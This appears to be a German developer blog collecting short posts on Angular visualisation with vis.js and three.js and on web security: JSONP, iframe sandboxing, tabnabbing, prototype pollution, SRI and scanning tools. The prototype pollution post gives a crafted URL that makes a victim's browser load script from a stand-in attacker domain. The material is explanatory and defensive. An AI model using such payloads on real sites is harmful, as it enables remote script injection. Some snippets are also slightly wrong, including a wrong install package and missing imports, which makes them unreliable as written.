Wenn die Uhr im Docker Container falsch läuft, liegt das am Host System, unter Windows ist dies Ubuntu. Dort lässt sich die Zeit einstellen mittels:
sudo hwclock -s
Wenn die Uhr im Docker Container falsch läuft, liegt das am Host System, unter Windows ist dies Ubuntu. Dort lässt sich die Zeit einstellen mittels:
sudo hwclock -s
Um vis.js in Angular zu verwenden und ein Netzwerk zu erstellen kann man folger Maßen vorgehen:
npm install v-network-graph
2. Erstellen der Angular Komponente mit Beispiel Kanten und Knoten:
import { Component, OnInit, ViewChild, ElementRef } from '@angular/core';
import { DataSet } from "vis-data/peer";
import {Network, Node} from "vis-network/peer";
@Component({
selector: 'app-network',
template: `
<div #network id="network"></div>
`,
styles: [
'#network{height: 800px;width: 1200px;}'
]
})
export class NetworkComponent implements OnInit{
@ViewChild('network', { static: true }) networkContainer?: ElementRef;
ngOnInit() {
const container = this.networkContainer?.nativeElement;
const nodes: DataSet<Node> = new DataSet<Node>({});
nodes.add([
{ id: 1, label: 'Node 1' },
{ id: 2, label: 'Node 2' },
{ id: 3, label: 'Node 3' },
{ id: 4, label: 'Node 4' },
{ id: 5, label: 'Node 5' }
]);
const edges = new DataSet<any>({});
edges.add([
{ from: 1, to: 2, label: 'Edge 1-2' },
{ from: 1, to: 3, label: 'Edge 1-3' },
{ from: 2, to: 4, label: 'Edge 2-4' },
{ from: 2, to: 5, label: 'Edge 2-5' }
]);
const data = {
nodes: nodes,
edges: edges
};
const options = {};
new Network(container, data, options);
}
}
Ergebnis:
Mit den folgenden Schritten kann man eine webgl three.js Komponenete in Angular erstellen:
npm install three
2. Installiere die Three.js-Typdefinitionen, um die Typüberprüfung und Code-Intelligenz in deinem Angular-Projekt zu verbessern. Führe den folgenden Befehl aus:
npm install @types/three --save-dev
3. Erstelle einer Angular Komponente
import {Component, OnInit} from '@angular/core'; import * as THREE from 'three'; import {OrbitControls} from "three/examples/jsm/controls/OrbitControls"; import {TextGeometry} from "three/examples/jsm/geometries/TextGeometry"; import {FontLoader} from "three/examples/jsm/loaders/FontLoader"; import {Mesh, MeshBasicMaterial, Scene, SphereGeometry, WebGLRenderer} from "three"; @Component({ selector: 'app-mindmap', template: ` <div id="mindmap" #mindmap></div> `, styles: [ '#mindmap{ width: 1200px;height: 400px;display: block;}' ] }) export class MindmapComponent implements OnInit { nodeA!: Mesh<SphereGeometry, MeshBasicMaterial>; nodeB!: Mesh<SphereGeometry, MeshBasicMaterial>; nodeC!: Mesh<SphereGeometry, MeshBasicMaterial>; @ViewChild('mindmap', { static: true }) mindmap?: ElementRef; private font: any; width = 1200; height = 400; private renderer!: WebGLRenderer; private scene!: Scene; ngOnInit(): void { // Laden der Schriftart var fontLoader = new FontLoader(); fontLoader.load('assets/font/helvetiker_regular.typeface.json', (font: any) => { this.font = font; this.drawMindmap(); }); } private drawMindmap() { // Initialisieren der Szene, Kamera und Renderer this.initialize(); this.createNodes(); // Erstellen der Textgeometrie mit der geladenen Schriftart this.createText(); this.addControls(); this.createConnections(); } private initialize() { this.scene = new THREE.Scene(); this.renderer = new THREE.WebGLRenderer({antialias: true}); this.renderer.setSize(this.width, this.height); this.renderer.setClearColor(0xffffff); // Hintergrundfarbe auf Weiß setzen this.mindmap?.nativeElement.appendChild(this.renderer.domElement); const axesHelper = new THREE.AxesHelper( 1 ); this.scene.add( axesHelper ); } private createNodes() { // Erstellen der Knoten-Geometrie und Materialien var geometry = new THREE.SphereGeometry(0.05, 32, 32); // Größe der Kugeln auf 10% reduzieren var material = new THREE.MeshBasicMaterial({color: 0x0000ff}); // Dunkelblau für das Material // Erstellen der Knoten A var nodeA = new THREE.Mesh(geometry, material); this.scene.add(nodeA); nodeA.position.set(-1, 0, 0); this.nodeA = nodeA; // Erstellen der Knoten B var nodeB = new THREE.Mesh(geometry, material); this.scene.add(nodeB); nodeB.position.set(0, 1, 0); // Knoten B nach unten verschieben this.nodeB = nodeB; // Erstellen der Knoten C var nodeC = new THREE.Mesh(geometry, material); this.scene.add(nodeC); nodeC.position.set(1, 0, 0); this.nodeC= nodeC; } private addControls() { /** * fov: Das Sichtfeld (Field of View) in Grad. Es definiert den vertikalen Erfassungswinkel der Kamera. Ein größerer Wert führt zu einem breiteren Sichtfeld und umgekehrt. * aspect: Das Seitenverhältnis (Aspect Ratio) der Kamera. Es wird üblicherweise als Breite durch Höhe definiert. In diesem Fall wird this.width / this.height verwendet, wobei this.width und this.height die Breite und Höhe des Anzeigebereichs (Canvas oder Fenster) sind. Das Seitenverhältnis beeinflusst das Verhältnis der horizontalen zur vertikalen Sicht und wird verwendet, um die Szene korrekt zu skalieren. * near: Der nahe Clip-Abstand. Objekte, die näher an der Kamera liegen als dieser Wert, werden abgeschnitten und nicht gerendert. * far: Der ferne Clip-Abstand. Objekte, die weiter entfernt von der Kamera liegen als dieser Wert, werden ebenfalls abgeschnitten. */ var camera = new THREE.PerspectiveCamera(75, this.width / this.height, 0.1, 1000); // Berechnen der Bounding Box der Knoten const boundingBox = new THREE.Box3().setFromObject(this.nodeA); boundingBox.expandByObject(this.nodeB); boundingBox.expandByObject(this.nodeC); const center = new THREE.Vector3(); const size = new THREE.Vector3(); boundingBox.getCenter(center); boundingBox.getSize(size); // Berechnen des Kameraabstands basierend auf der Größe der Bounding Box const maxDimension = Math.max(size.x, size.y, size.z); const cameraDistance = maxDimension ; // Faktor 2 für etwas zusätzlichen Abstand camera.position.z = cameraDistance; // Setzen der Kamera-Position auf den Schwerpunkt der Bounding Box camera.lookAt(center); // Anpassen des Kamera-Zooms const cameraZoom = 1.5; // Passen Sie den Zoomwert an Ihre Anforderungen an camera.zoom = cameraZoom; camera.updateProjectionMatrix(); // Maussteuerung für das Drehen der Szene hinzufügen var controls = new OrbitControls(camera, this.renderer.domElement); controls.target.set(0, 0, 0); // Drehachse in der Mitte des Bildes // Animations-Schleife const animate = () => { requestAnimationFrame(animate); // Animationen oder Interaktionen hier einfügen this.renderer.render(this.scene, camera); } animate(); } private createText() { var textMaterial = new THREE.MeshBasicMaterial({color: 0x000000}); // Schriftfarbe auf Schwarz setzen var textGeometryA = new TextGeometry("A", { font: this.font, size: 0.05, // Größe der Schrift auf 5% reduzieren height: 0.005, // Höhe der Schrift auf 0.5% reduzieren }); var textA = new THREE.Mesh(textGeometryA, textMaterial); textA.position.copy(this.nodeA.position); textA.position.y -= 0.2; // Knoten A TextNode nach unten verschieben this.scene.add(textA); var textGeometryB = new TextGeometry("B", { font: this.font, size: 0.05, height: 0.005, }); var textB = new THREE.Mesh(textGeometryB, textMaterial); textB.position.copy(this.nodeB.position); textB.position.y -= 0.2; // Knoten B TextNode nach unten verschieben this.scene.add(textB); var textGeometryC = new TextGeometry("C", { font: this.font, size: 0.05, height: 0.005, }); var textC = new THREE.Mesh(textGeometryC, textMaterial); textC.position.copy(this.nodeC.position); textC.position.y -= 0.2; // Knoten C TextNode nach unten verschieben this.scene.add(textC); } private createConnections() { // Erstellen der Beziehungslinien var lineMaterial = new THREE.LineBasicMaterial({color: 0x000000, linewidth: 4}); // Linienfarbe auf Schwarz und Linienbreite auf 4 setzen var lineABGeometry = new THREE.BufferGeometry().setFromPoints([this.nodeA.position, this.nodeB.position]); var lineAB = new THREE.Line(lineABGeometry, lineMaterial); this.scene.add(lineAB); var lineBCGeometry = new THREE.BufferGeometry().setFromPoints([this.nodeB.position, this.nodeC.position]); var lineBC = new THREE.Line(lineBCGeometry, lineMaterial); this.scene.add(lineBC); var lineCAGeometry = new THREE.BufferGeometry().setFromPoints([this.nodeC.position, this.nodeA.position]); var lineCA = new THREE.Line(lineCAGeometry, lineMaterial); this.scene.add(lineCA); } }
Ergebnis:
JavaScript Object Notation with Padding (JSONP) ist eine Methode, die in der Webentwicklung verwendet wird, um das Same-Origin-Policy-Problem zu umgehen. Es ermöglicht den Abruf von Daten aus einer anderen Domain, umgeht dabei aber die Cross-Origin-Restriktionen, die in Web-Browsern eingebaut sind. JSONP arbeitet durch das Einbetten einer Remote-Anfrage in einen <script>
-Tag anstelle eines XMLHttpRequest.
Ein ausführliches JavaScript / PHP Beispiel findet man hier.
JSONP hat mehrere Nachteile und aus Sicherheitstechnischen Gründen wird empfohlen, JSONP nicht mehr zu verwenden, sofern es nicht unbedingt erforderlich ist. Hier sind einige der Hauptnachteile:
Aufgrund dieser Nachteile wird empfohlen, moderne Alternativen wie CORS (Cross-Origin Resource Sharing) zu verwenden, die bessere Kontrolle, Flexibilität und Sicherheit bieten. CORS ermöglicht eine feinere Kontrolle über den Zugriff auf Ressourcen, unterstützt verschiedene HTTP-Methoden und ermöglicht den sicheren Austausch von Daten zwischen verschiedenen Domains.
Sandbox-Iframes bieten eine wichtige Sicherheitsschicht, wenn Sie Drittanbieterinhalte auf Ihrer Website einbetten möchten. Ohne die Sandbox können Iframes potenziell schädlichen Code enthalten und ausführen. Sie könnten bösartige Skripte ausführen, die Benutzerdaten stehlen, unerwünschte Werbung anzeigen oder andere schädliche Aktionen ausführen. Mit der Sandbox können Sie genau kontrollieren, was im Iframe erlaubt ist und was nicht.
Das sandbox
Attribut für Iframes kann mit den folgenden Direktiven oder Werten gefüllt werden, um verschiedene Einschränkungen für den Inhalt des Iframes zu setzen:
Sandbox-Attribut | Beschreibung | Beispiel |
---|---|---|
allow-forms | Erlaubt dem eingebetteten Dokument, Formulareinreichungen zu tätigen. | document.forms[0].submit(); |
allow-modals | Erlaubt dem eingebetteten Dokument, Modal-Dialoge zu öffnen (z. B. mit alert, confirm, prompt oder print). | alert(„Hallo, Welt!“); |
allow-orientation-lock | Erlaubt dem eingebetteten Dokument, den Bildschirm zu sperren mit der | screen.orientation.lock(‚landscape‘); |
allow-pointer-lock | Erlaubt dem eingebetteten Dokument, den Mauszeiger zu sperren und die Pointer Lock API zu verwenden. | canvas.addEventListener("click", async () => { await canvas.requestPointerLock(); }); |
allow-popups | Erlaubt dem eingebetteten Dokument, Pop-up-Fenster oder -Tabs zu öffnen. | window.open(„https://example.com“); |
allow-popups-to-escape-sandbox | Erlaubt Pop-up-Fenstern, die vom eingebetteten Dokument geöffnet wurden, den Sandbox-Modus zu verlassen. | Angenommen, Sie haben ein iFrame mit sandbox="allow-popups" , aber ohne das allow-popups-to-escape-sandbox Attribut. Wenn dann das iFrame ein Popup mit window.open() öffnet, gelten dieselben Sandbox-Einschränkungen auch für dieses Popup-Fenster. Mit dem allow-popups-to-escape-sandbox Attribut wird das Popup-Fenster dagegen nicht von den Sandbox-Einschränkungen des iFrames beeinflusst. |
allow-presentation | Erlaubt eingebetteten Dokumenten, die Presentation API zu verwenden. | var request = new PresentationRequest([„https://example.com/presentation.html“]); |
allow-same-origin | Erlaubt dem eingebetteten Dokument, die gleiche Herkunft wie das einbettende Dokument zu behandeln. Ohne dieses Schlüsselwort sind sie von fremden Ursprungs und werden nicht erlaubt. | var xhr = new XMLHttpRequest(); xhr.open(„GET“, „/api/data“, true); xhr.send(); |
allow-scripts | Erlaubt dem eingebetteten Dokument, Skripte auszuführen (aber nicht automatische Ausführungen von Pop-ups). | document.getElementById(„foo“).innerHTML = „bar“; |
allow-storage-access-by-user-activation | Erlaubt auf den lokalen Speicher zuzugreifen, wenn es durch Benutzeraktivierung gestartet wird. | localStorage.setItem(„key“, „value“); |
allow-top-navigation | Erlaubt dem eingebetteten Dokument, das einbettende Dokument zu navigieren. | top.location.href = „https://example.com“; |
allow-top-navigation-by-user-activation | Erlaubt dem eingebetteten Dokument, das einbettende Dokument zu navigieren, aber nur wenn dies durch Benutzeraktivierung geschieht. | <a href=“https://example.com“ target=“_top“>Besuchen Sie example.com</a> |
Ohne spezifische Direktiven blockiert ein gesandboxter Iframe alle diese Aktionen.
Beispiel für die Verwendung des sandbox
Attributs mit mehreren Direktiven:
<iframe sandbox="allow-scripts allow-forms" src="https://example.com"></iframe>
In diesem Beispiel können innerhalb des Iframes Skripte ausgeführt und Formulare übermittelt werden. Alle anderen Aktionen, die durch die obigen Direktiven gesteuert werden, sind jedoch blockiert.
Um Drittanbieter-JavaScript in einem Sandbox-Iframe zu nutzen, können Sie einen Ansatz wie den folgenden verwenden:
<iframe sandbox="allow-scripts" src="https://your-website.com/iframe-content.html"></iframe>
In diesem Beispiel wird ein Iframe erstellt, der das Ausführen von Skripten erlaubt (allow-scripts
). Der Inhalt des Iframes wird von iframe-content.html
geladen, das auf Ihrer eigenen Website gehostet ist.
Die iframe-content.html
Datei könnte so aussehen:
<!DOCTYPE html> <html> <body> <script src="https://third-party.com/some-script.js"></script> </body> </html>
In diesem Fall wird das Drittanbieter-Skript innerhalb des Iframes geladen und ausgeführt. Es ist jedoch auf das Iframe beschränkt und kann nicht auf Elemente oder Daten außerhalb des Iframes zugreifen, es sei denn, Sie erweitern die Sandbox-Erlaubnisse mit zusätzlichen Direktiven.
In dem Zusammenhang der Sicherheit von externen Links können die Attribute „noopener“ und „noreferrer“ verwendet werden, um bestimmte Sicherheitsrisiken zu minimieren. Hier ist eine Erläuterung, wie diese Attribute eingesetzt werden können:
noreferrer
-Attribut wird verwendet, um zu verhindern, dass der Referrer-Header an die verlinkte Website gesendet wird. Der Referrer-Header enthält normalerweise die URL der Seite, von der der Benutzer kommt. Durch das Entfernen dieser Information wird verhindert, dass die verlinkte Website den Ursprung des Benutzerverkehrs nachverfolgen kann. Dies kann hilfreich sein, um die Privatsphäre der Benutzer zu schützen und potenziell sensible Informationen zu verbergen.Beispiel:
<a href="https://example.com" rel="noreferrer">Externer Link</a>
noopener
-Attribut wird verwendet, um das Öffnen des externen Links in einem neuen Tab oder Fenster zu isolieren und zu verhindern, dass das geöffnete Fenster auf den ursprünglichen Tab oder das Fenster zugreifen kann. Dies hilft, sogenannte Tabnabbing-Angriffe zu verhindern, bei denen die verlinkte Website möglicherweise den Inhalt des ursprünglichen Tabs ändern oder betrügerische Aktionen durchführen kann.Beispiel:
<a href="https://example.com" target="_blank" rel="noopener">Externer Link</a>
Es ist wichtig zu beachten, dass beide Attribute (noreferrer und noopener) zusammen verwendet werden können, um sowohl die Privatsphäre des Benutzers zu schützen als auch potenzielle Sicherheitslücken zu schließen.
Beispiel:
<a href="https://example.com" target="_blank" rel="noreferrer noopener">Externer Link</a>
Durch die Verwendung dieser Attribute können Website-Betreiber dazu beitragen, die Sicherheit und Privatsphäre der Benutzer zu verbessern, insbesondere wenn es um externe Links geht, die zu nicht vertrauenswürdigen oder potenziell schädlichen Websites führen können.
Tab-Navigation-Phishing-Angriffe zielen darauf ab, die Benutzer durch betrügerische Inhalte oder Aktionen zu täuschen, wenn sie zwischen verschiedenen geöffneten Tabs oder Fenstern in ihrem Webbrowser wechseln. Diese Angriffe können auf verschiedene Arten durchgeführt werden, aber hier ist ein grundlegendes Szenario, um den Ablauf zu erklären:
Ein Tab im Vordergrund wird von einer vertrauenswürdigen Anwendung geöffnet. Dieser Tab zeigt eine vom Angreifer kontrollierte Website an und verwendet window.opener.location.assign()
, um den Hintergrundtab durch ein bösartiges Dokument zu ersetzen.
Natürlich ändert sich durch diese Aktion auch die Adressleiste des Hintergrundtabs – der Angreifer hofft jedoch, dass das Opfer weniger aufmerksam ist und blind sein Passwort oder andere sensible Informationen eingibt, wenn dieser zu dem Tab zurückkehrt.
Prototype Pollution ist eine Art von Sicherheitslücke in JavaScript, die durch Manipulation der Prototyp-Kette entsteht. In JavaScript können alle Objekte eine Prototyp-Kette haben, die verwendet wird, um Eigenschaften und Methoden zu erben. Wenn ein Objekt eine Eigenschaft oder Methode nicht selbst definiert hat, sucht es in seiner Prototyp-Kette, um zu sehen, ob sie dort definiert ist.
Die Prototype Pollution Sicherheitslücke tritt auf, wenn ein Angreifer in der Lage ist, Eigenschaften zu der Prototyp-Kette von JavaScript-Objekten hinzuzufügen oder zu ändern. Da alle Instanzen eines Objekts diese Änderungen erben, kann dies schwerwiegende Folgen haben.
Hier ist ein einfaches Beispiel:
let obj = {}; console.log(obj.toString()); // [object Object] Object.prototype.toString = function() { return 'Dieses Objekt wurde manipuliert'; }; console.log(obj.toString()); // Ausgabe: Dieses Objekt wurde manipuliert
In diesem Beispiel wurde die toString
Methode auf Object.prototype
manipuliert, was bedeutet, dass jedes Objekt, das diese Methode aufruft, die manipulierte Version verwenden wird.
Hier sind einige Maßnahmen, die Sie ergreifen können, um sich gegen Prototype Pollution zu schützen:
hasOwnProperty
: Wenn Sie mit Objekten arbeiten, verwenden Sie die hasOwnProperty
Methode, um sicherzustellen, dass eine Eigenschaft direkt am Objekt und nicht in der Prototyp-Kette definiert ist.let obj = { ... }; if (obj.hasOwnProperty('potentiallyUnsafeProperty')) { // Arbeitet mit der Eigenschaft }
__proto__
und prototype
: Vermeiden Sie die Verwendung von __proto__
und prototype
in Ihrem Code, und erlauben Sie nicht, dass sie durch Eingaben geändert werden.Um die Einhaktung dieser Regeln zu gewährleisten, ist es sinnvoll den eigenen Code darauf untersuchen zu lassen mittels Code Analyse wieSonarQube oder ESLint.
Viele JavaScript-Bibliotheken akzeptieren ein Objekt, das Entwickler verwenden können, um verschiedene Konfigurationsoptionen festzulegen. Der Bibliothekscode prüft, ob der Entwickler bestimmte Eigenschaften zu diesem Objekt hinzugefügt hat und passt die Konfiguration entsprechend an. Ist eine Eigenschaft, die eine bestimmte Option repräsentiert, nicht vorhanden, wird oft eine vordefinierte Standardoption verwendet. Ein vereinfachtes Beispiel könnte so aussehen:
let transport_url = config.transport_url || defaults.transport_url;
Stellen Sie sich nun vor, der Bibliothekscode verwendet diese transport_url, um eine Skriptreferenz auf der Seite hinzuzufügen:
let script = document.createElement('script'); script.src = `${transport_url}/example.js`; document.body.appendChild(script);
Haben die Entwickler der Website keine transport_url-Eigenschaft in ihrem Config-Objekt festgelegt, handelt es sich hierbei um ein Sicherheitsproblem. In Fällen, in denen ein Angreifer in der Lage ist, das globale Object.prototype mit seiner eigenen transport_url-Eigenschaft zu „verschmutzen“, wird diese vom Config-Objekt geerbt und daher als Quelle für dieses Skript auf eine Domain der Wahl des Angreifers gesetzt.
Dann müsste der Angreifer nur ein Opfer dazu bringen, eine speziell erstellte URL zu besuchen, um dessen Browser dazu zu bringen, eine schädliche JavaScript-Datei von einer vom Angreifer kontrollierten Domain zu importieren und auszuführen:
https://vulnerable-website.com/?__proto__[transport_url]=//malicious-site.net
Subresource Integrity (SRI) ist ein Sicherheitsmechanismus, der es Webbrowsern ermöglicht, zu überprüfen, ob Inhalte, die sie von einem Server herunterladen (z.B. Skripte oder Stylesheets), unverändert bleiben. Der Mechanismus wurde entwickelt, um das Risiko zu verringern, dass ein Angreifer diese Inhalte ändern kann, entweder durch die Kompromittierung des Servers selbst oder durch Manipulation der Daten während der Übertragung.
SRI funktioniert, indem es einen Hash-Wert für den erwarteten Inhalt bereitstellt. Der Hash-Wert wird in einem integrity
Attribut bereitgestellt, das einem <script>
oder <link>
Tag hinzugefügt wird. Hier ist ein Beispiel:
<script src="https://example.com/script.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" crossorigin="anonymous"> </script>
In diesem Beispiel ist der Hash-Wert (beginnend mit sha384-
) der Base64-kodierte SHA-384-Hash des erwarteten Inhalts der Datei script.js
.
Es ist wichtig zu beachten, dass das crossorigin
Attribut in Bezug auf Subresource Integrity (SRI) benötigt wird. Bei Verwendung von SRI in einem <script>
oder <link>
Tag muss das crossorigin
Attribut ebenfalls angegeben werden, um die Überprüfung der Ressourcenintegrität zu ermöglichen.
Wenn der Browser die Datei von example.com
lädt, berechnet er seinen eigenen Hash der heruntergeladenen Daten und vergleicht ihn mit dem im integrity
Attribut bereitgestellten Hash. Wenn die beiden übereinstimmen, wird die Ressource geladen. Wenn sie nicht übereinstimmen (was darauf hinweisen könnte, dass die Daten manipuliert wurden), blockiert der Browser die Ressource und verhindert, dass sie geladen wird.
Es ist wichtig zu beachten, dass SRI nur einen Schutz bietet, wenn Sie sicher sind, dass die ursprünglichen Inhalte, die Sie hashen, sicher sind. Es schützt Sie nicht vor unsicheren Inhalten, die Sie versehentlich von einer unzuverlässigen Quelle geladen haben.
Subresource Integrity (SRI) ist in Angular verfügbar beim Erstellen des produktiven Builds und kann folgender Maßen aktiviert werden:
ng build --subresource-integrity
Das Ergebnis sieht man in der index.html, die mit den passenden integrity
Hash-Werten versehen ist.
<!DOCTYPE html> <html lang="en"> <head> <link rel="stylesheet" href="styles.b59ebdef18b35fdd.css" crossorigin="anonymous" integrity="sha384-oErGOTPxF7SP2WL0NQvx3yH3qKf2nU+GaPRoQGwLC86FXbXhZT4NTyvkJk1YhsWG" media="print" onload="this.media='all'"> </head> <body> <app-root></app-root> <script src="runtime.cd88caa9a90985c6.js" type="module" crossorigin="anonymous" integrity="sha384-pa1ldTIy99cxQ4eBdVToPe5QX72nwdMwc1iUQdrfHG12kAQDqWnQr4ht5En4U7vh"></script> <script src="polyfills.20b808ea4252e216.js" type="module" crossorigin="anonymous" integrity="sha384-ntg7GMhEvdM6nANo67bhe9ywlmHlclTX9WtzZypoZ5l88rNtopxFbU8KECtXeCgy"></script> <script src="scripts.22e9f2ff069003a2.js" defer crossorigin="anonymous" integrity="sha384-D0q55GWgRcYpsttubbKAA87RnYZm6YovXWtOdbHklbKFZi+t0aFHRI88ps3ega/j"></script> <script src="main.f007b24de697ee5f.js" type="module" crossorigin="anonymous" integrity="sha384-Iu/ByjgLYT6Ngup3UKnXSUZgDlxc9d+S6vH/O9o4NetAuxd7wCf1+pMLtZ8iersD"></script> </body> </html>
SonarQube als auch ESLint sind Tools für die statische Code Analyse.
SonarQube bietet eine Vielzahl von Regeln zur statischen Code-Analyse, die dabei helfen können, Sicherheitslücken in deiner Anwendung zu erkennen.
Obwohl ESLint primär für die statische Analyse und Code-Stilüberprüfung verwendet wird, gibt es spezielle ESLint-Plugins, die Sicherheitsregeln enthalten, um potenzielle Sicherheitslücken im Code zu identifizieren.
Hier sind einige ESLint-Plugins, die man in deinem Angular-Projekt verwenden kann, um Sicherheitsregeln zu überprüfen:
Diese Plugins können in deinem ESLint-Konfigurationsfile (.eslintrc) hinzugefügt und entsprechend konfiguriert werden, um die gewünschten Sicherheitsregeln zu aktivieren.
Es ist wichtig zu beachten, dass ESLint-Plugins nicht alle Sicherheitslücken abdecken können, die SonarQube spezifische Regeln erkennen kann. SonarQube bietet eine umfassendere und spezifischere Abdeckung von Sicherheitslücken. Dennoch können ESLint und seine Plugins eine wertvolle Ergänzung sein, um die Sicherheit einer Angular-Anwendung zu verbessern.
OWASP ZAP (Zed Attack Proxy) ist ein beliebtes Open-Source-Tool für die Sicherheitstests von Webanwendungen. Es wurde von der Open Web Application Security Project (OWASP) Community entwickelt und ist ein integraler Bestandteil vieler Sicherheitstests und Penetrationstests.
OWASP ZAP kann für verschiedene Zwecke eingesetzt werden:
Insgesamt ist ZAP ein vielseitiges Werkzeug, um die Sicherheit einer Webanwendungen zu beurteilen und zu verbessern. Es kann sowohl für gelegentliche Sicherheitsüberprüfungen als auch für kontinuierliche Sicherheitstests im Rahmen einer DevSecOps-Pipeline verwendet werden.
Ein Beispiel Report einer Angular Anwendung, die im Development Modus unter Port 4200 verfügbar war findet man hier:
Die erstellten Reports sind ein wesentliches Werkzeug, um die Sicherheit von Webanwendungen zu bewerten und zu verbessern.